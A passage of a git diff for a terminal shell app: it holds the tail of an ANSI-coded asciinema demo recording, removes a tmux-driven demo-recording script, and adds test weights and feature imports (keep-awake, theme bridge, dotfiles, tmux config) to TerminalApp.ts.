\u001b[38;2;139;132;178mT\u001b[38;2;157;150;193ma\u001b[38;2;205;196;233mp\u001b[38;2;169;161;203mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.9s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.100, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;149;142;187mT\u001b[38;2;197;189;227ma\u001b[38;2;177;169;209mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.0s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;142;135;181m \u001b[38;2;190;182;221mT\u001b[38;2;184;176;215ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.1s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.108, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;182;174;214m \u001b[38;2;192;183;222mT\u001b[38;2;144;137;182ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.2s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.093, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;175;167;208m✳\u001b[38;2;199;191;228m \u001b[38;2;151;144;188mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.3s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;207;198;235m✳\u001b[38;2;159;151;195m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.4s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;166;158;201m✢\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.6s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.7s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.8s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✢\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (1.9s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.100, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✢\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.0s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✳\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.1s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.100, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;163;155;198m…\u001b[38;2;176;184;194m (2.2s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;155;148;191mg\u001b[38;2;203;194;231m…\u001b[38;2;176;184;194m (2.3s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;147;140;185mn\u001b[38;2;195;187;225mg\u001b[38;2;179;171;211m…\u001b[38;2;176;184;194m (2.4s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.101, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;140;133;179mi\u001b[38;2;188;179;219mn\u001b[38;2;186;178;217mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.5s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m*\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;139;132;178mp\u001b[38;2;180;172;212mi\u001b[38;2;194;185;224mn\u001b[38;2;146;139;184mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.6s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.128, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;139;132;178ma\u001b[38;2;173;165;206mp\u001b[38;2;201;193;230mi\u001b[38;2;153;146;190mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.7s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.073, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✻\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mT\u001b[38;2;165;157;200ma\u001b[38;2;209;200;236mp\u001b[38;2;161;153;196mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.8s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.100, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;139;132;178m \u001b[38;2;157;150;193mT\u001b[38;2;205;197;233ma\u001b[38;2;169;161;203mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (2.9s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.102, "o", "\u001b[?25l\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m✶\u001b[38;2;150;143;187m \u001b[38;2;198;190;227mT\u001b[38;2;176;168;209ma\u001b[38;2;139;132;178mp\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (3.0s)\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[0.067, "o", "\u001b[?25l\u001b[7;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[8;1H\u001b[2Kgit version 2.55.0\u001b[0m\u001b[0m\u001b[9;1H\u001b[2K\u001b[0m\u001b[0m\u001b[10;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Roasted for 0.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[11;1H\u001b[2K\u001b[0m\u001b[0m\u001b[12;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232msleep\u001b[0m\u001b[38;2;242;240;236m 3\u001b[0m\u001b[0m\u001b[13;1H\u001b[2K\u001b[0m\u001b[0m\u001b[14;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Taped for 3.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[17;3H\u001b[?25h"] -[2.484, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;176;184;194mnd = s.index(\">>>>>>> fork/fix/mirror-capture-recovery-pause\", start)\u001b[0m\u001b[0m\u001b[17;4H\u001b[?25h"] -[0.072, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mx\u001b[0m\u001b[38;2;176;184;194mec xcodegen generate --spec project.local.yml\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mx\u001b[0m\u001b[38;2;176;184;194mec xcodegen generate --spec project.local.yml\u001b[0m\u001b[0m\u001b[17;5H\u001b[?25h"] -[0.077, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mx\u001b[0m\u001b[38;2;242;240;236mi\u001b[0m\u001b[38;2;176;184;194mt 127\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.003, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;205;115;123me\u001b[0m\u001b[38;2;205;115;123mx\u001b[0m\u001b[38;2;205;115;123mi\u001b[0m\u001b[38;2;176;184;194mt 127\u001b[0m\u001b[0m\u001b[17;6H\u001b[?25h"] -[0.070, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;242;240;236me\u001b[0m\u001b[38;2;242;240;236mx\u001b[0m\u001b[38;2;242;240;236mi\u001b[0m\u001b[38;2;242;240;236mt\u001b[0m\u001b[38;2;176;184;194m 127\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.002, "o", "\u001b[?25l\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[38;2;197;185;232me\u001b[0m\u001b[38;2;197;185;232mx\u001b[0m\u001b[38;2;197;185;232mi\u001b[0m\u001b[38;2;197;185;232mt\u001b[0m\u001b[38;2;176;184;194m 127\u001b[0m\u001b[0m\u001b[17;7H\u001b[?25h"] -[0.071, "o", "\u001b[?25l\u001b[4;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mgit\u001b[0m\u001b[38;2;242;240;236m \u001b[0m\u001b[38;2;176;184;194m--version\u001b[0m\u001b[0m\u001b[5;1H\u001b[2Kgit version 2.55.0\u001b[0m\u001b[0m\u001b[6;1H\u001b[2K\u001b[0m\u001b[0m\u001b[7;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Roasted for 0.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[8;1H\u001b[2K\u001b[0m\u001b[0m\u001b[9;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232msleep\u001b[0m\u001b[38;2;242;240;236m 3\u001b[0m\u001b[0m\u001b[10;1H\u001b[2K\u001b[0m\u001b[0m\u001b[11;1H\u001b[2K\u001b[0m\u001b[38;2;116;181;154m✔ Taped for 3.0s\u001b[0m\u001b[38;2;116;181;154m\u001b[38;2;176;184;194m · done 02:22\u001b[0m\u001b[0m\u001b[12;1H\u001b[2K\u001b[0m\u001b[0m\u001b[13;1H\u001b[2K\u001b[0m\u001b[38;2;242;240;236m❯ \u001b[0m\u001b[38;2;197;185;232mexit\u001b[0m\u001b[0m\u001b[14;1H\u001b[2K\u001b[38;2;139;132;178m·\u001b[38;2;139;132;178m \u001b[38;2;139;132;178mW\u001b[38;2;139;132;178me\u001b[38;2;139;132;178ml\u001b[38;2;139;132;178md\u001b[38;2;139;132;178mi\u001b[38;2;139;132;178mn\u001b[38;2;139;132;178mg\u001b[38;2;139;132;178m…\u001b[38;2;176;184;194m (0.0s)\u001b[0m\u001b[0m\u001b[17;1H\u001b[2K\u001b[38;2;197;185;232m❯\u001b[0m \u001b[0m\u001b[17;3H\u001b[?25h"] -[0.012, "o", "\u001b[0m\u001b[?1006l\u001b[?1000l\u001b[?2004l\u001b[?25h\u001b[ new Promise(res => setTimeout(res, ms)); - -async function typeLiteral(session, text, delayMs = 65) { - for (const char of text) { - execFileSync('tmux', ['send-keys', '-t', session, '-l', char]); - await delay(delayMs); - } -} - -async function sendKey(session, key) { - execFileSync('tmux', ['send-keys', '-t', session, key]); -} - -async function run() { - const session = 'demorec'; - try { execSync('rm -f scripts/readme-demo/demo.cast'); } catch (e) {} - execSync(`tmux new-session -d -s ${session} -x 90 -y 18 "asciinema rec -c ./bin/nmsh scripts/readme-demo/demo.cast"`); - - await delay(3500); - - // 1. gti status (UNKNOWN) - await typeLiteral(session, 'gti status'); - await delay(1200); - await sendKey(session, 'C-u'); - await delay(500); - - // 2. git --version (KNOWN) - await typeLiteral(session, 'git --version'); - await delay(1200); - await sendKey(session, 'Enter'); - - await delay(2000); - - // 3. echo "$HOME" | grep Users (PIPELINE) - await typeLiteral(session, 'echo "$HOME" | grep Users'); - await delay(1500); - await sendKey(session, 'C-u'); - await delay(500); - - // 4. sleep 3 (LIVE ACTIVITY) - await typeLiteral(session, 'sleep 3'); - await delay(1000); // pause to show highlighting - await sendKey(session, 'Enter'); - - await delay(4500); - - // 5. clean idle - await delay(1000); - - await typeLiteral(session, 'exit'); - await sendKey(session, 'Enter'); - await delay(1000); - try { execSync(`tmux kill-session -t ${session}`); } catch (e) {} -} - -run().catch(console.error); diff --git a/scripts/test-selection.mjs b/scripts/test-selection.mjs index 02ed2157..b04e8d28 100644 --- a/scripts/test-selection.mjs +++ b/scripts/test-selection.mjs @@ -33,7 +33,8 @@ const runtimeWeights = { "shellSwitchApp.test.ts": 23, "startupBlocked.test.ts": 29, "startupDiscovery.test.ts": 22, - "startupLaunch.test.ts": 8 + "startupLaunch.test.ts": 8, + "themeBridgeLive.test.ts": 12 }; export function discoverTestFiles() { diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 9e9b9f7f..f00eed2c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -9,6 +9,9 @@ import {SessionPresetStore, PresetStartup, presetNeedsAcknowledgement, type Sess import {createPresetPanel, presetPanelKey, renderPresetPanel, type PresetPanel} from '../session/PresetPanel.js'; import {MiseProjectService, detectMiseProject} from '../tools/MiseProject.js'; import {misePanelKey, renderMisePanel, type MisePanel} from '../tools/MisePanel.js'; +import {detectBackend, keepAwakePath, KeepAwakeController, type KeepAwakeRecord} from '../keepAwake/keepAwake.js'; +import {awakeDuration, awakeLabel, awakeStyle, awakeView, edgeAccessoryColumns, edgeFits, placeOnSaver, renderComposerEdge, resolveAccessorySlot, sliceAnsiCells} from '../keepAwake/presentation.js'; +import {createKeepAwakePanel, describeStart, keepAwakeKey, renderKeepAwakePanel, requestStart, statusLines, type KeepAwakePanel} from '../keepAwake/KeepAwakePanel.js'; import {homedir} from 'node:os'; import {createNotificationService, formatCommandNotification, shouldNotify, type TerminalFocus} from '../notifications/commandNotifications.js'; import {blockAffordance, blockCopyPayload, blockPaletteItems, type BlockActionId} from '../ui/BlockActions.js'; @@ -29,10 +32,33 @@ import {createScreensaverPanel, effectiveMode, idleFrameRows, idleMotion, idlePa import {captureFromRows, cropCapture, type ScreenCapture} from '../idle/screenCapture.js'; import {makeRng} from '../idle/screenEffects.js'; import {SCREEN_MODE_EFFECT, pickRandomSaver, saverLoopComplete, IDLE_FRAME_MS as SAVER_FRAME_MS} from '../idle/scenes.js'; -import {createThemeStudio, renderThemeStudio, STUDIO_MIN_SIZE, studioKey, writeThemeExport, type ThemeStudioState} from '../appearance/ThemeStudio.js'; +import {createThemeStudio, readThemeImport, previewTheme, renderThemeStudio, STUDIO_MIN_SIZE, studioKey, writeThemeExport, type StudioContext, type StudioTab, type ThemeStudioState} from '../appearance/ThemeStudio.js'; +import {addTheme, deleteTheme, duplicateBuiltin, duplicateCurrentToCustom, duplicateRefToCustom, duplicateTheme, renameTheme, saveTheme, setActiveTheme, type ActionResult} from '../appearance/themeLibraryActions.js'; +import {findTheme} from '../appearance/themeLibrary.js'; +import {activeThemeRef, assetRef, selectableThemes, themeRefLabel} from '../appearance/themeRefs.js'; +import {resolveSemanticPalette} from '../appearance/semanticPalette.js'; +import {anyBridgeTargetActive, targetsPinnedTo, type BridgeTargetId} from '../themeBridge/model.js'; +import {applyThemeBridge, bridgeStateExists, detectTargets, fzfBridgeArgs, integrationHealth, reloadTmux, reportTargets, setupBat, targetPalette, themeBridgeKey, type ApplyOutcome, type BridgeContext, type TargetFacts, type TargetReport} from '../themeBridge/runtime.js'; +import {createThemeBridgePanel, renderThemeBridgePanel, themeBridgeKey as themeBridgePanelKey, type BridgePanelAction, type BridgePanelContext, type ThemeBridgePanelState} from '../themeBridge/ThemeBridgePanel.js'; +import {createRowPanel, renderRowPanel, rowPanelKey, type RowPanelState} from '../ui/RowPanel.js'; +import {configureListKey, renderConfigureList, type ConfigureListState} from '../tools/config/ConfigureList.js'; +import {registryFacts, toolConfigEntry} from '../tools/config/registry.js'; +import {createTmuxPanel, describeTmuxChange, pendingChanges, renderTmuxPanel, tmuxPanelKey, type TmuxPanelState} from '../tools/config/TmuxPanel.js'; +import {applyTmuxChange, loadTmuxModel, parseTmuxConfig, readUserTmuxConfig, saveTmuxModel} from '../tools/config/tmux.js'; +import {writeTmuxManaged} from '../tools/config/tmuxManaged.js'; +import {createDotfilesPanel, dotfilesKey, renderDotfilesPanel, type DotfilesAction, type DotfilesState} from '../dotfiles/DotfilesPanel.js'; +import {expandSource, isRemoteSource, scanDotfiles} from '../dotfiles/scan.js'; +import {applyPlan as applyDotfilesPlan, buildPlan, reviewLines} from '../dotfiles/plan.js'; +import {applyHook, applyHookRemoval, artifactPath, hookSpec, loadLedger, ownership, planHook, planHookRemoval, recordedHook, removeArtifact, type HookSpec, type HookTarget, type ManagedTarget} from '../themeBridge/artifacts.js'; +import {BRIDGE_MODE_LABELS, BRIDGE_POLICY_LABELS, BRIDGE_TARGET_LABELS, effectiveMode as bridgeMode} from '../themeBridge/model.js'; +import type {FileEditPlan} from '../ask/fileEdit.js'; +import {colorEscape} from '../chroma/escape.js'; +import {parseHexColor} from '../chroma/color.js'; +import type {CustomTheme} from '../appearance/customTheme.js'; import {commandWord, createInstallPrompt, ignoreInstallSuggestion, installCandidate, installPromptKey, renderInstallPrompt, shouldOfferInstall, type InstallPromptState} from '../tools/InstallSuggestion.js'; -import {knownToolForExecutable, suggestibleToolFor, toolInstall, TOOLS, type Tool} from '../tools/catalog.js'; +import {detectTool, knownToolForExecutable, suggestibleToolFor, toolInstall, TOOLS, type Tool} from '../tools/catalog.js'; +import {openGuidedInstall, openPrevious} from '../tools/OhMyZshView.js'; import {planPackageInstall} from '../packages/managers.js'; import {loadToolUpdateState, runToolUpdateCheck, toolUpdateCheckDue, type ToolUpdateState} from '../tools/ToolUpdates.js'; import type {CommandSource} from '../shell/SemanticService.js'; @@ -77,27 +103,30 @@ import {HISTORY_PROVIDERS} from '../shell/historyProviders.js'; import type {HistoryEntry} from '../shell/HistoryIndex.js'; import {isPrivateCommand, ignorePatternFromEnv, SUGGESTION_PROVIDERS} from '../suggestions/types.js'; import {CommandEditor} from '../input/CommandEditor.js'; +import {authoredLink, closeAuthoredLinks} from '../output/Hyperlinks.js'; +import {HostSemantics, semanticSupport} from '../host/semanticMarks.js'; import {OutputBuffer, renderHistoricalContext, serializeCopyPayload, type CompletedCommand, type HistoricalContextSnapshot} from '../output/OutputBuffer.js'; import {createWelcomeSnapshot, renderWelcome, vespyrSprite, WELCOME_BLINK_CLOSED_MS, welcomeBlinkDelay} from '../output/Welcome.js'; import {captureWelcome, WELCOME_PROVIDERS, welcomeProvider} from '../output/WelcomeProviders.js'; -import {clearProviderDetection, detectProvider, installUnavailableReason, providerInstall, resolveCommand, resolveProvider, type ProviderStatus} from '../providers/providers.js'; +import {clearProviderDetection, detectProvider, installUnavailableReason, providerInstall, resolveCommand, resolveProvider, runExternal, type ProviderStatus} from '../providers/providers.js'; import {createProviderPanel, handleProviderPanelKey, providerPanelEnterAction, providerPanelSelection, renderProviderPanel, type ProviderPanelState} from '../providers/ProviderPanel.js'; import {TapActivityObserver} from '../output/TapActivityObserver.js'; import {HistoryViewport, stickyHeaderFor, type StickyHeader, type WrappedRow} from '../output/viewport.js'; -import {NATIVE_PROMPT_THEMES, setThemeContext, themeContext, themeChromaStops, buildContextLine, buildInlineContextPrefix, buildRightContext, isOnCommandRelevant, buildRichGitShowcaseLine, buildThemePreviewLine, RICH_GIT_SHOWCASE, moduleShowcaseContext, nativePromptSnapshot, renderedModules, themePreviewContext} from '../prompt/prompt.js'; +import {NATIVE_PROMPT_THEMES, setThemeContext, themeContext, themeChromaStops, themeLabel, buildContextLine, buildInlineContextPrefix, buildRightContext, isOnCommandRelevant, buildRichGitShowcaseLine, buildThemePreviewLine, RICH_GIT_SHOWCASE, moduleShowcaseContext, nativePromptSnapshot, renderedModules, themePreviewContext} from '../prompt/prompt.js'; import {foldingPreview, handleTranscriptPanelKey, renderTranscriptPanel, type TranscriptPanelState} from '../output/TranscriptPanel.js'; import {tabCompletionAction} from '../input/tabBehavior.js'; import {formatBuildIdentity, readBuildIdentity} from '../buildInfo.js'; -import {hasVisibleContextModule, loadPromptConfiguration, NATIVE_PALETTE_IDS, savePromptConfiguration, type PromptConfiguration, type PromptProviderId} from '../prompt/configuration.js'; +import {hasVisibleContextModule, loadPromptConfiguration, NATIVE_PALETTE_IDS, savePromptConfiguration, type NativePaletteId, type PromptConfiguration, type PromptProviderId} from '../prompt/configuration.js'; import {detectStarship, renderStarshipPrompt, type StarshipPromptResult, type StarshipStatus} from '../prompt/starship.js'; import {STARSHIP_MODULES, StarshipConfigAdapter} from '../prompt/StarshipConfigAdapter.js'; import {detectPowerlevel10k, renderPowerlevel10kPrompt, type Powerlevel10kStatus} from '../prompt/powerlevel10k.js'; +import {detectOhMyPosh, renderOhMyPoshPrompt} from '../prompt/ohMyPosh.js'; import {configuratorFileChanged, launchPowerlevel10kConfigurator, preparePowerlevel10kConfigurator} from '../prompt/Powerlevel10kConfigurator.js'; import {galleryPalettes, promptPanelOwnsKey, appearanceModulesRow, closeGradientEditor, onGradientRow, openGradientEditor, applyLayoutChoice, onModulesRow, layoutLabel, describePromptConfiguration, PROVIDER_ORDER, providerLabel, handlePromptPanelKey, layoutChoiceIndex, renderPromptPanel, type PromptPanelState} from '../prompt/PromptPanel.js'; import type {PromptSnapshot} from '../prompt/snapshot.js'; import {CommandContextCache, commandWords, type CommandContextId} from '../prompt/commandContext.js'; -import {applyUpdate, checkForUpdate, compareVersions, detectInstall, fetchLatestRelease, installRoot, loadUpdateState, planUpdate, prepareAutomaticUpdate, readyVersion, recordInstalled, systemRunner, updatesDisabledByEnvironment, type ReleaseInfo, type UpdateCheckFrequency} from '../update/update.js'; +import {applyUpdate, checkForUpdate, compareVersions, detectInstall, installProvenanceLabel, fetchLatestRelease, installRoot, loadUpdateState, planUpdate, prepareAutomaticUpdate, readyVersion, recordInstalled, systemRunner, updatesDisabledByEnvironment, type ReleaseInfo, type UpdateCheckFrequency} from '../update/update.js'; import {resolvePathAbbreviations} from '../prompt/pathDisplay.js'; import {resolvePromptContext, type PromptContext} from '../shell/ShellContext.js'; import type {AttachedSession, SessionClient, SessionConnection, StreamStamp} from '../session/SessionClient.js'; @@ -106,7 +135,7 @@ import {cursorStyleSequence, TerminalRenderer} from '../terminal/TerminalRendere import {KeyDecoder, type Key} from '../terminal/keys.js'; import {promptConfigurationPath} from '../configuration/paths.js'; import {displayWidth, repeatToWidth, stripAnsi, truncateAnsi, truncateText} from '../util/text.js'; -import {parseSlashCommand, slashCommands, slashSuggestions, suggestionWindow} from '../commands/slashCommands.js'; +import {parseSlashCommand, slashCommands, slashSuggestions, suggestionWindow, type ParsedSlashCommand} from '../commands/slashCommands.js'; import {ClipboardUnavailableError, copyFeedback, copyStats, writeClipboard} from '../clipboard/clipboard.js'; import {beginSelection, extendSelection, isRowSelected, selectedText, type TranscriptSelection} from '../output/TranscriptSelection.js'; import {shouldPassthrough} from '../passthrough/PassthroughPolicy.js'; @@ -191,7 +220,7 @@ import {liveLine} from '../status/liveLine.js'; import {browseOutcome} from '../ask/fileAssist.js'; import {gitWorktrees} from '../ask/git.js'; import type {AskAction, AskContext, AskOutcome} from '../ask/types.js'; -import {askProviderFacts, PROVIDER_FAMILIES, selectProvider} from '../providers/families.js'; +import {askProviderFacts, PROVIDER_FAMILIES, providerFamily, selectProvider, type SwitchableFamily} from '../providers/families.js'; import {LocalUnderstanding, understandingStatusRows, understandingWelcomeText} from '../understanding/LocalUnderstanding.js'; import {stateLabel, createUnderstandingPanel, renderUnderstandingPanel, understandingKey, type UnderstandingFacts, type UnderstandingPanelState} from '../understanding/UnderstandingPanel.js'; import {downloadPinned, loadRecommendedModel} from '../understanding/recommended.js'; @@ -209,7 +238,7 @@ import {detectShellEnvironment, shellEnvironmentRows, type ShellEnvironmentRepor import {agentColor, agentCompletionText, renderAgentStats} from '../agents/AgentStatsView.js'; import {detectAgentCommand} from '../agents/agents.js'; import {describeNotice, noticeExpiresAt, noticeKey, noticeVisible, selectNotices, sessionLabel, type NoticeView, type SessionNotice} from '../session/SessionNotices.js'; -import {cursorScreenRow, planScreen, regionAt, withNoticeRows, withStatusRow, screenRowFromTerminal, terminalRowFromScreen, type Region, type ScreenPlan} from './screenPlan.js'; +import {composerEdgeStates, cursorScreenRow, planScreen, regionAt, withNoticeRows, withStatusRow, screenRowFromTerminal, terminalRowFromScreen, type Region, type ScreenPlan} from './screenPlan.js'; import {AppearanceState, handleAppearanceKey, renderAppearancePanel, BLUR_MODES} from '../appearance/AppearancePanel.js'; import {KeyboardState, handleKeyboardKey, renderKeyboardPanel} from '../keyboard/KeyboardPanel.js'; import {Highlighter} from '../input/Highlighter.js'; @@ -246,6 +275,10 @@ const PRIMARY = lazyForeground(UI_COLORS.primary); const SECONDARY = lazyForeground(UI_COLORS.secondary); const SUBTLE = lazyForeground(UI_COLORS.subtle); const SEPARATOR = lazyForeground(UI_COLORS.separator); +/** Keep Awake presentation poll: record changes, timeout, idle reminder and its minute counter. */ +const AWAKE_POLL_MS = 5000; +/** Free cells the input row keeps after typed text before Keep Awake yields it (Input row placement). */ +const AWAKE_INPUT_SLACK = 8; const ACCENT = lazyForeground(UI_COLORS.accent); /** NMSh ran this install with the user's confirmation; record it so an uninstall can be offered honestly. */ function recordInstall(toolId: string, install: {label: string; command: string; args: readonly string[]}): void { @@ -362,6 